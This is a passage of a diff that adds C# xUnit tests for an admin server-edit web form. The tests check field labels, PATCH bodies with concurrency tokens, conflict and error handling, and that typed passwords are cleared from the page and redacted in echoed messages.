+        Assert.Equal("Client Secret (required for this change)", principal.GetProperty("password").GetProperty("label").GetString());
+        Assert.Equal("sa-new", Step("sql again").GetProperty("usernameValue").GetString());
+
+        var managed = Step("managed identity");
+        Assert.Equal("User-Assigned Identity Client ID (optional)", managed.GetProperty("username").GetProperty("label").GetString());
+        Assert.False(Hidden(managed.GetProperty("username")));
+        Assert.True(Hidden(managed.GetProperty("password")));
+        Assert.False(Hidden(managed.GetProperty("note")));
+
+        var windows = Step("windows");
+        Assert.True(Hidden(windows.GetProperty("username")));
+        Assert.True(Hidden(windows.GetProperty("password")));
+        Assert.True(Hidden(windows.GetProperty("note")));
+
+        // A SQL login's password is asked for again only once its host changes, and not once the host is put back.
+        Assert.Equal(
+            new[] { "Password (leave blank to keep the stored one)", "Password (required for this change)", "Password (leave blank to keep the stored one)" },
+            Strings(page.GetProperty("suffixes")));
+    }
+
+    [Theory]
+    [InlineData("mandatory", "Mandatory", "Optional,Mandatory,Strict")]
+    [InlineData("STRICT", "Strict", "Optional,Mandatory,Strict")]
+    [InlineData("Weird", "Weird", "Optional,Mandatory,Strict,Weird")]
+    [InlineData("none", "", "Optional,Mandatory,Strict,")]
+    public void TheStoredEncryptionWord_IsMatchedIgnoringCase_AndAnUnknownOneStaysSelectedAsAnExtraOption(string stored, string selected, string options)
+    {
+        var page = Run("encrypt:" + stored);
+
+        Assert.Equal(selected, page.GetProperty("value").GetString());
+        Assert.Equal(options, string.Join(",", Strings(page.GetProperty("options"))));
+    }
+
+    // ------------------------------------------------------------------ the harness frame
+
+    [Fact]
+    public void TheReadOnlyServersTab_DrawsItsRowsThroughTheRealGrid_AndOffersNoEdit()
+    {
+        var page = Run("frame");
+
+        Assert.Equal(
+            new[] { "Display Name", "Server", "Auth", "Engine", "Version", "Status", "Freshness", "Monthly Cost ($)", "Read only", "Added", "Last Collected" },
+            page.GetProperty("headers").EnumerateArray().Select(h => h.GetString()).ToArray());
+        var cells = page.GetProperty("cells").EnumerateArray().Select(r => r.EnumerateArray().Select(c => c.GetString()).ToArray()).ToArray();
+        Assert.Equal(2, cells.Length);
+        Assert.Equal(new[] { "Alpha", "alpha", "Windows", "sqlserver", "SQL Server 2022", "Enabled", "Online", "$1,234" }, cells[0].Take(8).ToArray());
+        Assert.Equal(new[] { "Bravo", "bravo", "SQL Server", "postgres", "PostgreSQL 18", "Disabled", "AwaitingFirstCollection", "—" }, cells[1].Take(8).ToArray());
+        // The grid's time cells follow the process zone, so the harness pins UTC; the cell text itself depends on the locale.
+        Assert.Equal(0, page.GetProperty("utcOffsetMinutes").GetInt32());
+        Assert.Equal(11, cells[0].Length);
+        Assert.Equal(new[] { "", "band-Offline" }, page.GetProperty("rowClasses").EnumerateArray().Select(c => c.GetString()).ToArray());
+        Assert.StartsWith("2 servers.", Assert.Single(page.GetProperty("notice").EnumerateArray()).GetString());
+        Assert.Equal(0, page.GetProperty("editHeaders").GetInt32());
+        Assert.Equal(0, page.GetProperty("editButtons").GetInt32());
+        // The session probe (which decides whether the Edit column is drawn) comes first, then the list.
+        Assert.Equal(new[] { "GET /api/session", "GET /api/admin/servers" }, page.GetProperty("requests").EnumerateArray().Select(r => r.GetString()).ToArray());
+    }
+
+    [Fact]
+    public void TheFakeDomsFocus_SurvivesARepaintOnlyWhileTheSameNodeStaysAttached()
+    {
+        var focus = Run("focusModel");
+
+        foreach (var check in focus.EnumerateObject())
+        {
+            Assert.True(check.Value.GetBoolean(), check.Name);
+        }
+
+        Assert.Equal(8, focus.EnumerateObject().Count());
+    }
+
+    [Fact]
+    public void TheHarness_CopiesTheWholeJsFolder_NotAListOfModules()
+    {
+        var source = File.ReadAllText(PathTo("Darling", "Darling.Tests", "admin-server-edit-harness.mjs"));
+
+        Assert.Contains("fs.cpSync(jsDir, scratch, { recursive: true })", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("copyTree", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("copyFileSync", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("\"util.js\", \"panels.js\"", source, StringComparison.Ordinal);
+        Assert.Contains("process.env.TZ = \"UTC\"", source, StringComparison.Ordinal);
+    }
+
+    // ------------------------------------------------------------------ the save (T5, T7, T8, T9, T11, review findings 4 and 5, the hashchange discard)
+
+    // The token the harness's by-id read hands out, which every PATCH must send back as it came.
+    private const string ReadToken = "2026-10-05T12:34:56.1234567Z";
+
+    private const string Testing = "Testing the connection, then saving. This can take up to a minute.";
+
+    private static string[] Lines(JsonElement view, string name) => view.GetProperty(name).EnumerateArray().Select(StripText).ToArray();
+
+    private static JsonElement[] Patches(JsonElement view) => view.GetProperty("patches").EnumerateArray().ToArray();
+
+    private static bool[] Flags(JsonElement view, string name) => view.GetProperty(name).EnumerateArray().Select(e => e.GetBoolean()).ToArray();
+
+    private static string Notice(JsonElement view) => StripText(view.GetProperty("notice").EnumerateArray().First());
+
+    private static string Cls(JsonElement view, string name) => view.GetProperty(name).EnumerateArray().First().GetProperty("cls").GetString()!;
+
+    private static void AssertPasswordGone(JsonElement page, bool connected)
+    {
+        Assert.Equal("", page.GetProperty("pw").GetProperty("value").GetString());
+        Assert.Equal(connected, page.GetProperty("pw").GetProperty("connected").GetBoolean());
+        Assert.Equal(0, page.GetProperty("secretNodes").GetInt32());
+    }
+
+    [Fact]
+    public void AFailedProbe_ShowsTheServerSentence_KeepsTheForm_AndClearsThePassword()
+    {
+        var page = Run("save:connfail");
+        var after = page.GetProperty("after");
+
+        Assert.Equal("SECRET-PW", page.GetProperty("typed").GetString());
+        Assert.Equal(new[] { "Could not connect to charlie-two: login failed for user 'sa'." }, Lines(after, "banner"));
+        Assert.Equal("strip error", Cls(after, "banner"));
+        Assert.Equal("alert", after.GetProperty("banner").EnumerateArray().First().GetProperty("role").GetString());
+        Assert.Equal(1, after.GetProperty("forms").GetInt32());
+        AssertPasswordGone(page, connected: true);
+        // One PATCH carried the host, the password and the token; the list was not read again.
+        var body = Assert.Single(Patches(after)).GetProperty("body");
+        Assert.Equal("charlie-two", body.GetProperty("host").GetString());
+        Assert.Equal("SECRET-PW", body.GetProperty("password").GetString());
+        Assert.Equal(ReadToken, body.GetProperty("expected_modified_at").GetString());
+        Assert.Equal(1, after.GetProperty("listReads").GetInt32());
+        // The status line said the connection was being tested while it ran, and is gone; Save and Cancel are usable again.
+        Assert.Equal(new[] { Testing }, Lines(page.GetProperty("during"), "status"));
+        Assert.Empty(Lines(after, "status"));
+        Assert.False(after.GetProperty("saveDisabled").GetBoolean());
+        Assert.False(after.GetProperty("cancelDisabled").GetBoolean());
+    }
+
+    [Fact]
+    public void AServer403_IsShown_TheUiDoesNotRelyOnHidingEdit()
+    {
+        var after = Run("save:forbidden").GetProperty("after");
+
+        Assert.Equal("This account has read-only access. Nothing was saved.", Notice(after));
+        Assert.Equal("strip error", Cls(after, "notice"));
+        Assert.Equal(0, after.GetProperty("forms").GetInt32());
+        Assert.Equal(0, after.GetProperty("formBoxChildren").GetInt32());
+        // No retry, and no list read: nothing changed.
+        Assert.Single(Patches(after));
+        Assert.Equal(1, after.GetProperty("listReads").GetInt32());
+    }
+
+    [Fact]
+    public void AServerRemovedWhileTheFormIsOpen_ClosesTheForm_ShowsTheSentence_AndRereadsTheList()
+    {
+        var page = Run("save:gone");
+        var after = page.GetProperty("after");
+
+        Assert.StartsWith("This server's definition no longer exists", Notice(after), StringComparison.Ordinal);
+        Assert.Equal("strip notice", Cls(after, "notice"));
+        Assert.Equal(0, after.GetProperty("forms").GetInt32());
+        Assert.Equal(0, after.GetProperty("formBoxChildren").GetInt32());
+        Assert.Single(Patches(after));
+        Assert.Equal(2, after.GetProperty("listReads").GetInt32());
+        Assert.Equal(new[] { "Bravo", "Charlie" }, Strings(after.GetProperty("rows")));
+        AssertPasswordGone(page, connected: false);
+    }
+
+    [Theory]
+    [InlineData("double")]
+    [InlineData("429")]
+    public void ADoubleSave_SendsOnePatch_AndA429KeepsTheForm(string how)
+    {
+        var page = Run("midsave:" + how);
+        var during = page.GetProperty("during");
+        var mid = page.GetProperty("mid");
+        var late = page.GetProperty("late");
+
+        // Save and Cancel are disabled while the request runs, and the status line says it is saving.
+        Assert.True(during.GetProperty("saveDisabled").GetBoolean());
+        Assert.True(during.GetProperty("cancelDisabled").GetBoolean());
+        Assert.Equal(new[] { "Saving." }, Lines(during, "status"));
+        // A second click on the disabled button, and a click forced past it, send nothing: one PATCH in all.
+        Assert.Single(Patches(during));
+        Assert.Single(Patches(mid));
+        Assert.Single(Patches(late));
+        if (how == "429")
+        {
+            Assert.Equal(new[] { "Another server change is in progress. Try again in a moment." }, Lines(late, "banner"));
+            Assert.Equal(1, late.GetProperty("forms").GetInt32());
+            Assert.False(late.GetProperty("saveDisabled").GetBoolean());
+            Assert.False(late.GetProperty("cancelDisabled").GetBoolean());
+            Assert.Empty(Lines(late, "status"));
+            // And no retry on its own: still one PATCH after the page settled.
+            Assert.Single(Patches(page.GetProperty("settled")));
+        }
+        else
+        {
+            Assert.Equal("Saved \"Alpha Two\". Takes effect at the next collection cycle.", Notice(late));
+        }
+    }
+
+    [Fact]
+    public void ASave_ClosesTheForm_ShowsTheNote_AndRereadsTheList()
+    {
+        var page = Run("save:updated");
+        var after = page.GetProperty("after");
+
+        Assert.Equal("Saved \"Alpha Prime\". Takes effect at the next collection cycle.", Notice(after));
+        Assert.Equal("strip notice", Cls(after, "notice"));
+        Assert.Equal(0, after.GetProperty("forms").GetInt32());
+        Assert.Equal(0, after.GetProperty("formBoxChildren").GetInt32());
+        Assert.Equal(2, after.GetProperty("listReads").GetInt32());
+        Assert.Equal(new[] { "Alpha Prime", "Bravo", "Charlie" }, Strings(after.GetProperty("rows")));
+        Assert.All(Flags(after, "editDisabled"), disabled => Assert.False(disabled));
+        // The one PATCH went to the server's id with the JSON content type, carrying only the changed field and the token.
+        var patch = Assert.Single(Patches(after));
+        Assert.Equal("/api/servers/1", patch.GetProperty("url").GetString());
+        Assert.Equal("application/json", patch.GetProperty("contentType").GetString());
+        Assert.Equal(new[] { "display_name", "expected_modified_at" }, patch.GetProperty("body").EnumerateObject().Select(p => p.Name).ToArray());
+        AssertPasswordGone(page, connected: false);
+    }
+
+    [Fact]
+    public void ASaveThatTestedTheConnection_SaysSo()
+    {
+        var after = Run("save:tested").GetProperty("after");
+
+        Assert.Equal("Saved \"Charlie\". Takes effect at the next collection cycle. The connection was tested before saving.", Notice(after));
+        Assert.Equal(0, after.GetProperty("forms").GetInt32());
+    }
+
+    [Fact]
+    public void AnUnchangedAnswer_ClosesTheForm_WithItsNotice_AndReadsNoList()
+    {
+        var after = Run("save:unchanged").GetProperty("after");
+
+        Assert.Equal("No change was needed; nothing was written.", Notice(after));
+        Assert.Equal(0, after.GetProperty("forms").GetInt32());
+        Assert.Equal(1, after.GetProperty("listReads").GetInt32());
+    }
+
+    [Fact]
+    public void AFormThatDiffersInNothing_ClosesWithNoChange_AndSendsNothing()
+    {
+        var after = Run("save:nochange").GetProperty("after");
+
+        Assert.Equal("No change.", Notice(after));
+        Assert.Equal(0, after.GetProperty("forms").GetInt32());
+        Assert.Empty(Patches(after));
+    }
+
+    [Theory]
+    [InlineData("clientcheck", "Monthly cost must be a number, zero or more.")]
+    [InlineData("nopassword", PasswordNeeded)]
+    public void AClientSideRefusal_SendsNothing_ShowsTheSentence_AndClearsThePassword(string kind, string sentence)
+    {
+        var page = Run("save:" + kind);
+        var after = page.GetProperty("after");
+
+        Assert.Equal(new[] { sentence }, Lines(after, "banner"));
+        Assert.Equal(1, after.GetProperty("forms").GetInt32());
+        Assert.Empty(Patches(after));
+        Assert.Empty(Lines(after, "status"));
+        AssertPasswordGone(page, connected: true);
+    }
+
+    [Theory]
+    [InlineData("invalid", "The host 'charlie two' is not valid: [redacted] is not allowed here.")]
+    [InlineData("limited", "Another server change is in progress. Try again in a moment.")]
+    [InlineData("broken", "admin server edit failed (InvalidOperationException)")]
+    [InlineData("collides", "Another server already uses the address alpha.")]
+    [InlineData("network", "Network error: connection refused")]
+    [InlineData("conflict", "This server was changed since you opened it. Nothing was saved.")]
+    public void AnAnswerThatKeepsTheForm_ShowsItsSentenceInTheBanner_ClearsThePassword_AndEnablesSaveAgain(string kind, string sentence)
+    {
+        var page = Run("save:" + kind);
+        var after = page.GetProperty("after");
+
+        // The sentence has the typed password replaced by "[redacted]" when the service echoed it back.
+        Assert.Equal(new[] { sentence }, Lines(after, "banner"));
+        Assert.Equal(1, after.GetProperty("forms").GetInt32());
+        Assert.Single(Patches(after));
+        Assert.False(after.GetProperty("saveDisabled").GetBoolean());
+        Assert.False(after.GetProperty("cancelDisabled").GetBoolean());
+        AssertPasswordGone(page, connected: true);
+    }
+
+    [Fact]
+    public void A503_KeepsTheForm_RereadsTheList_AndTheNextSaveSendsTheSameToken()
+    {
+        var page = Run("save:timedout");
+        var after = page.GetProperty("after");
+
+        Assert.Equal(new[] { "The edit did not finish in time. It may still complete; reload to see." }, Lines(after, "banner"));
+        Assert.Equal(1, after.GetProperty("forms").GetInt32());
+        Assert.Equal(2, after.GetProperty("listReads").GetInt32());
+        var second = page.GetProperty("second");
+        var patches = Patches(second);
+        Assert.Equal(2, patches.Length);
+        Assert.Equal(ReadToken, patches[0].GetProperty("body").GetProperty("expected_modified_at").GetString());
+        Assert.Equal(ReadToken, patches[1].GetProperty("body").GetProperty("expected_modified_at").GetString());
+        Assert.StartsWith("Saved \"Alpha\".", Notice(second), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnExpiredSession_HandsOverToTheShell_AndDiscardsTheForm()
+    {
+        var page = Run("save:expired");
+        var after = page.GetProperty("after");
+
+        var told = Assert.Single(page.GetProperty("expired").EnumerateArray());
+        Assert.Equal("Your session has expired. Sign in again.", told.GetProperty("message").GetString());
+        Assert.Equal(0, after.GetProperty("forms").GetInt32());
+        Assert.Empty(Lines(after, "banner"));
+        // No sentence of its own: the page notice is still just the count and note of the list.
+        Assert.StartsWith("3 servers.", Notice(after), StringComparison.Ordinal);
+        Assert.Single(after.GetProperty("notice").EnumerateArray());
+        AssertPasswordGone(page, connected: false);
+    }
+
+    [Theory]
+    [InlineData("probeWindowsHost", true)]
+    [InlineData("probeWindowsTrust", true)]
+    [InlineData("probeWindowsEncrypt", true)]
+    [InlineData("probeSqlHost", true)]
+    [InlineData("probeRotate", true)]
+    [InlineData("probePostgresPort", true)]
+    [InlineData("probeName", false)]
+    [InlineData("probeCost", false)]
+    public void TheStatusLine_SaysTheConnectionIsTested_ExactlyWhenTheServiceWillProbeIt(string kind, bool testing)
+    {
+        // Review finding 5: a Windows or managed-identity server's address, TLS or database change is probed with no password at all.
+        var during = Run("save:" + kind).GetProperty("during");
+
+        Assert.Equal(new[] { testing ? Testing : "Saving." }, Lines(during, "status"));
+        Assert.Equal("strip loading", Cls(during, "status"));
+        Assert.Single(Patches(during));
+    }
+
+    [Fact]
+    public void WhileASaveRuns_NoOtherRowOpens_TheAnswerShowsItsNotice_AndTheNextFormSaves()
+    {
+        // Review finding 4: every Edit button is disabled mid-save; a click on one (or one forced past it) reads no row.
+        var page = Run("midsave:edit");
+        var during = page.GetProperty("during");
+        var mid = page.GetProperty("mid");
+        var late = page.GetProperty("late");
+        var next = page.GetProperty("next");
+
+        Assert.Equal(new[] { true, true, true }, Flags(during, "editDisabled"));
+        Assert.Equal(new[] { "/api/admin/servers/1" }, Strings(mid.GetProperty("byIdGets")));
+        Assert.Equal(1, mid.GetProperty("forms").GetInt32());
+        Assert.Equal(new[] { true, true, true }, Flags(mid, "editDisabled"));
+        Assert.Equal(new[] { false, false, false }, Flags(late, "editDisabled"));
+        Assert.Equal("Saved \"Alpha Two\". Takes effect at the next collection cycle.", Notice(late));
+        // The next row's form opens and its Save works: busy was cleared.
+        Assert.Equal(2, Patches(next).Length);
+        Assert.Equal("Saved \"Charlie Two\". Takes effect at the next collection cycle.", Notice(next));
+    }
+
+    [Theory]
+    [InlineData("tab")]
+    [InlineData("hash")]
+    public void ALateAnswer_TouchesNoForm_ButStillSetsTheNotice_UnlocksTheGrid_AndRereadsTheList(string how)
+    {
+        // The form is discarded while the save runs (the Routes tab; another page). busy still clears, and the outcome is shown
+        // when the Servers tab is on screen again, with the list read after the change.
+        var page = Run("midsave:" + how);
+
+        Assert.Equal(0, page.GetProperty("mid").GetProperty("forms").GetInt32());
+        var shown = how == "tab" ? page.GetProperty("back") : page.GetProperty("late");
+        Assert.Equal("Saved \"Alpha Two\". Takes effect at the next collection cycle.", Notice(shown));
+        Assert.Equal(0, shown.GetProperty("forms").GetInt32());
+        Assert.All(Flags(shown, "editDisabled"), disabled => Assert.False(disabled));
+        Assert.Equal(3, Flags(shown, "editDisabled").Length);
+        Assert.Equal(2, shown.GetProperty("listReads").GetInt32());
+        Assert.Equal("Alpha Two", Strings(shown.GetProperty("rows"))[0]);
+        Assert.Single(Patches(shown));
+    }
+
+    [Theory]
+    [InlineData("#/fleet", false)]
+    [InlineData("#/admin/routes", false)]
+    [InlineData("#/admin/servers", true)]
+    [InlineData("#/admin", true)]
+    [InlineData("#/admin/bogus", true)]
+    public void TheHashLeavingTheServersTab_DiscardsTheForm_ClearingThePasswordFirst(string hash, bool kept)
+    {
+        var page = Run("hash:" + hash);
+
+        // Painted twice before the hash moved, yet one listener: it is registered once.
+        Assert.Equal(1, page.GetProperty("listeners").GetInt32());
+        Assert.Equal(kept, page.GetProperty("kept").GetBoolean());
+        Assert.Equal(kept ? 1 : 0, page.GetProperty("forms").GetInt32());
+        Assert.Equal(kept ? 1 : 0, page.GetProperty("formBoxChildren").GetInt32());
+        if (kept)
+        {
+            Assert.Equal("charlie-two", page.GetProperty("host").GetString());
+            Assert.Equal("SECRET-PW", page.GetProperty("value").GetString());
+        }
+        else
+        {
+            // The very box typed into, read after the form is gone, holds nothing, and nothing on the page does.
+            Assert.Equal("", page.GetProperty("value").GetString());
+            Assert.False(page.GetProperty("connected").GetBoolean());
+            Assert.Equal(0, page.GetProperty("secretNodes").GetInt32());
+        }
+    }
+
+    [Theory]
+    [InlineData("#/fleet", 0)]
+    [InlineData("#/admin/routes", 0)]
+    [InlineData("#/admin/servers", 1)]
+    public void AByIdReadStillRunningWhenTheHashLeaves_OpensNoForm(string hash, int forms)
+    {
+        var page = Run("hashOpen:" + hash);
+
+        Assert.Equal(forms, page.GetProperty("forms").GetInt32());
+        Assert.Equal(forms, page.GetProperty("formBoxChildren").GetInt32());
+    }
+
+    // ------------------------------------------------------------------ T4: the stale edit (a 409 conflict)
+
+    private const string Token2 = "2026-10-05T13:00:00.7654321Z";
+
+    private const string Stale = "This server was changed since you opened it. Nothing was saved.";
+
+    private const string NoneChanged = "None of the fields on this form changed. Another setting, such as the enabled state, changed.";
+
+    private static string Body(JsonElement patch) => patch.GetProperty("body").GetRawText();
+
+    private static string[] FormValues(JsonElement step, params string[] keys) =>
+        keys.Select(k => step.GetProperty("form").GetProperty("values").GetProperty(k).GetString()!).ToArray();
+
+    [Theory]
+    [InlineData("reapply")]
+    [InlineData("reload")]
+    [InlineData("reloadnone")]
+    [InlineData("again")]
+    [InlineData("none")]
+    public void AStaleEdit_Shows409Changes_AndReapplyOrReloadNeverResubmits(string how)
+    {
+        var page = Run("conflict:" + how);
+        var stale = page.GetProperty("stale");
+        var staleView = stale.GetProperty("view");
+        var none = how == "none";
+        var userBody = none
+            ? """{"display_name":"Charlie Two","password":"SECRET-PW","expected_modified_at":"READ"}"""
+            : """{"host":"charlie-two","display_name":"Charlie Two","password":"SECRET-PW","expected_modified_at":"READ"}""";
+
+        // The 409: the page's own sentence, what the other edit changed (and what the user entered for the same field), the two
+        // buttons, exactly one PATCH, and the password gone from the box and from the page.
+        Assert.Equal(new[] { Stale }, Lines(staleView, "banner"));
+        var panel = staleView.GetProperty("conflict");
+        Assert.Equal(new[] { "Reapply my changes", "Reload current values" }, Strings(panel.GetProperty("buttons")));
+        if (none)
+        {
+            Assert.Empty(panel.GetProperty("lines").EnumerateArray());
+            Assert.Equal(NoneChanged, panel.GetProperty("none").GetString());
+        }
+        else
+        {
+            Assert.Equal(
+                new[]
+                {
+                    "Server Name / Address: was charlie, now charlie-new (you entered charlie-two)",
+                    "Display Name: was Charlie, now Charlie Elsewhere (you entered Charlie Two)",
+                    "Database: was Sales, now Orders",
+                },
+                Strings(panel.GetProperty("lines")));
+            Assert.Equal(new[] { "host", "display_name", "database" }, Strings(panel.GetProperty("fields")));
+            Assert.Equal(JsonValueKind.Null, panel.GetProperty("none").ValueKind);
+        }
+
+        Assert.Equal(userBody.Replace("READ", ReadToken, StringComparison.Ordinal), Body(Assert.Single(Patches(staleView))));
+        Assert.Equal(1, staleView.GetProperty("forms").GetInt32());
+        Assert.False(staleView.GetProperty("saveDisabled").GetBoolean());
+        Assert.Equal("", stale.GetProperty("pw").GetProperty("value").GetString());
+        Assert.Equal(0, stale.GetProperty("secretNodes").GetInt32());
+        Assert.Equal(none ? "charlie" : "charlie-two", FormValues(stale, "host")[0]);
+
+        if (how != "again")
+        {
+            // Pressing either button sends nothing at all: no PATCH, no read. The form is drawn again, focused, with a fresh empty password box.
+            var pressed = page.GetProperty("pressed");
+            var pressedView = pressed.GetProperty("view");
+            Assert.Equal(0, pressed.GetProperty("sent").GetInt32());
+            Assert.Single(Patches(pressedView));
+            Assert.Equal(JsonValueKind.Null, pressedView.GetProperty("conflict").ValueKind);
+            Assert.Empty(Lines(pressedView, "banner"));
+            Assert.Equal(1, pressedView.GetProperty("forms").GetInt32());
+            Assert.True(pressed.GetProperty("form").GetProperty("headingFocused").GetBoolean());
+            Assert.Equal("", pressed.GetProperty("form").GetProperty("passwordValue").GetString());
+            Assert.Equal("", pressed.GetProperty("oldPw").GetProperty("value").GetString());
+            var values = FormValues(pressed, "host", "display_name", "database");
+            Assert.Equal(
+                how switch
+                {
+                    "reapply" => new[] { "charlie-two", "Charlie Two", "Orders" },
+                    "none" => new[] { "charlie", "Charlie Two", "Sales" },
+                    _ => new[] { "charlie-new", "Charlie Elsewhere", "Orders" },
+                },
+                values);
+        }
+
+        var saved = page.GetProperty("saved");
+        var savedView = saved.GetProperty("view");
+        Assert.Equal(0, saved.GetProperty("secretNodes").GetInt32());
+        Assert.Equal(0, saved.GetProperty("otherNodes").GetInt32());
+        switch (how)
+        {
+            case "reapply":
+                // The next Save is the user's own: the password has to be typed again, then it sends the user's fields and the NEW token.
+                Assert.Equal(new[] { PasswordNeeded }, Lines(page.GetProperty("refused").GetProperty("view"), "banner"));
+                Assert.Single(Patches(page.GetProperty("refused").GetProperty("view")));
+                Assert.Equal(2, Patches(savedView).Length);
+                Assert.Equal(
+                    """{"host":"charlie-two","display_name":"Charlie Two","password":"OTHER-PW","expected_modified_at":"TOKEN2"}""".Replace("TOKEN2", Token2, StringComparison.Ordinal),
+                    Body(Patches(savedView)[1]));
+                Assert.StartsWith("Saved \"Charlie Two\".", Notice(savedView), StringComparison.Ordinal);
+                Assert.Equal(0, savedView.GetProperty("forms").GetInt32());
+                break;
+            case "reload":
+                // The user's host and name are gone; a new edit goes out against the current values and the NEW token.
+                Assert.Equal(2, Patches(savedView).Length);
+                Assert.Equal("""{"monthly_cost_usd":5,"expected_modified_at":"TOKEN2"}""".Replace("TOKEN2", Token2, StringComparison.Ordinal), Body(Patches(savedView)[1]));
+                break;
+            case "reloadnone":
+                Assert.Single(Patches(savedView));
+                Assert.Equal("No change.", Notice(savedView));
+                Assert.Equal(0, savedView.GetProperty("forms").GetInt32());
+                break;
+            case "again":
+                // Save without choosing is the stale save again: the OLD token, so the service says conflict again, and one panel shows, not two.
+                Assert.Equal(2, Patches(savedView).Length);
+                Assert.Equal(userBody.Replace("READ", ReadToken, StringComparison.Ordinal).Replace("SECRET-PW", "OTHER-PW", StringComparison.Ordinal), Body(Patches(savedView)[1]));
+                Assert.Equal(new[] { Stale }, Lines(savedView, "banner"));
+                Assert.Equal(3, savedView.GetProperty("conflict").GetProperty("lines").GetArrayLength());
+                break;
+            default:
+                Assert.Equal(2, Patches(savedView).Length);
+                Assert.Equal("""{"display_name":"Charlie Two","expected_modified_at":"TOKEN2"}""".Replace("TOKEN2", Token2, StringComparison.Ordinal), Body(Patches(savedView)[1]));
+                break;
+        }
+    }
+
+    // ------------------------------------------------------------------ T6: nothing secret stays in the page
+
+    [Theory]
+    [InlineData("cancel", 0, false)]
+    [InlineData("saved", 0, false)]
+    [InlineData("hash", 0, false)]
+    // Review finding 8: the next list read answers 401 and the shell takes the page over; the form is closed, the password cleared.
+    [InlineData("listexpired", 0, false)]
+    [InlineData("badrequest", 1, true)]
+    [InlineData("echo", 1, true)]
+    [InlineData("limited", 1, true)]
+    [InlineData("conflict", 1, true)]
+    // Reapply and Reload draw the form again, so the box typed into is gone and its replacement is empty.
+    [InlineData("reapply", 1, false)]
+    [InlineData("reload", 1, false)]
+    // #5356: a password typed again after the 409 and before Reapply or Reload must not stay in the box the redraw detaches.
+    [InlineData("reapplytyped", 1, false)]
+    [InlineData("reloadtyped", 1, false)]
+    public void NothingSecret_StaysInTheDom_AfterCloseSaveErrorOrLeaving(string path, int forms, bool connected)
+    {
+        var page = Run("secret:" + path);
+
+        Assert.Equal("SECRET-PW", page.GetProperty("typed").GetString());
+        // The very box typed into, read after whatever happened to it, holds nothing, and no text, attribute or value on the page does.
+        Assert.Equal("", page.GetProperty("value").GetString());
+        Assert.Equal(connected, page.GetProperty("connected").GetBoolean());
+        Assert.Equal(0, page.GetProperty("secretNodes").GetInt32());
+        Assert.Equal(forms, page.GetProperty("forms").GetInt32());
+        if (forms == 1)
+        {
+            Assert.Equal("", page.GetProperty("nextValue").GetString());
+        }
+
+        var view = page.GetProperty("view");
+        if (path == "echo")
+        {
+            Assert.Equal(new[] { "The host 'charlie two' is not valid: [redacted] is not allowed here." }, Lines(view, "banner"));
+        }
+
+        if (path == "conflict")
+        {
+            Assert.Contains("Display Name: was Charlie, now [redacted]", Strings(view.GetProperty("conflict").GetProperty("lines")));
+        }
+    }
+
+    // ------------------------------------------------------------------ T2, T3 and T13: the flow halves, through the real form
+
+    // The by-id read of one kind of server, as editFormValues turns it into Base(kind).
+    private static JsonObject ReadFor(string kind, string token)
+    {
+        var read = JsonNode.Parse("""{"server_id":1,"display_name":"Orders","engine":"sqlserver","host":"sql-a","port":0,"database":null,"read_only_intent":false,"auth":"Windows","username":null,"encrypt_mode":"Mandatory","trust_server_certificate":false,"multi_subnet_failover":false,"monthly_cost_usd":100}""")!.AsObject();
+        switch (kind)
+        {
+            case "windows":
+                break;
+            case "sql":
+                read["auth"] = "SQL";
+                read["username"] = "sa";
+                break;
+            case "sp":
+                read["auth"] = "ServicePrincipal";
+                read["username"] = "11111111-1111-1111-1111-111111111111";
+                break;
+            case "managed":
+                read["auth"] = "ManagedIdentity";
+                break;
+            case "postgres":
+                read["engine"] = "postgres";
+                read["host"] = "pg-a";
+                read["port"] = 5433;
+                read["auth"] = "SQL";
+                read["username"] = "pgmon";
+                break;
+            default:
+                throw new ArgumentOutOfRangeException(nameof(kind), kind, null);
+        }
+
+        read["modified_at"] = token;
+        return read;
+    }
+
+    // One edit made through the form of that server (the edits typed, ticked or chosen in the order given, the authentication first).
+    private static JsonElement Flow(string kind, string edits, string password, string token = Token) =>
+        Run("flow", JsonSerializer.Serialize(new { read = ReadFor(kind, token), edits = JsonNode.Parse(edits), password }));
+
+    private static readonly string[] EditableKeys =
+        ["host", "display_name", "port", "auth", "username", "encrypt_mode", "trust_server_certificate", "database", "read_only_intent", "multi_subnet_failover", "monthly_cost_usd", "password", "expected_modified_at"];
+
+    [Theory]
+    // A name-only edit sends exactly the name and the token; nothing that did not change goes out.
+    [InlineData("windows", """{"display_name":"Payments"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{}""", "", "null")]
+    [InlineData("windows", """{"host":"  sql-a ","display_name":"Orders  "}""", "", "null")]
+    [InlineData("windows", """{"monthly_cost_usd":"250.50"}""", "", """{"monthly_cost_usd":250.5,"expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"monthly_cost_usd":"100.00"}""", "", "null")]
+    [InlineData("windows", """{"encrypt_mode":"Strict"}""", "", """{"encrypt_mode":"Strict","expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"trust_server_certificate":true,"multi_subnet_failover":true,"read_only_intent":true}""", "", """{"trust_server_certificate":true,"read_only_intent":true,"multi_subnet_failover":true,"expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"database":"Sales"}""", "", """{"database":"Sales","expected_modified_at":"TOKEN"}""")]
+    // SQL Server never sends a port; a password goes only with an auth that stores one.
+    [InlineData("sql", """{"host":"sql-b"}""", "typed", """{"host":"sql-b","password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("sql", """{}""", "typed", """{"password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("sp", """{}""", "secret", """{"password":"secret","expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"host":"sql-b"}""", "typed", """{"host":"sql-b","expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{}""", "typed", "null")]
+    [InlineData("managed", """{}""", "typed", "null")]
+    // An auth switch always sends the username box of the new mode, and Windows sends none.
+    [InlineData("windows", """{"auth":"SQL","username":"sa"}""", "typed", """{"auth":"SQL","username":"sa","password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"auth":"ServicePrincipal","username":"app-id"}""", "secret", """{"auth":"ServicePrincipal","username":"app-id","password":"secret","expected_modified_at":"TOKEN"}""")]
+    [InlineData("sql", """{"auth":"ManagedIdentity"}""", "", """{"auth":"ManagedIdentity","username":null,"expected_modified_at":"TOKEN"}""")]
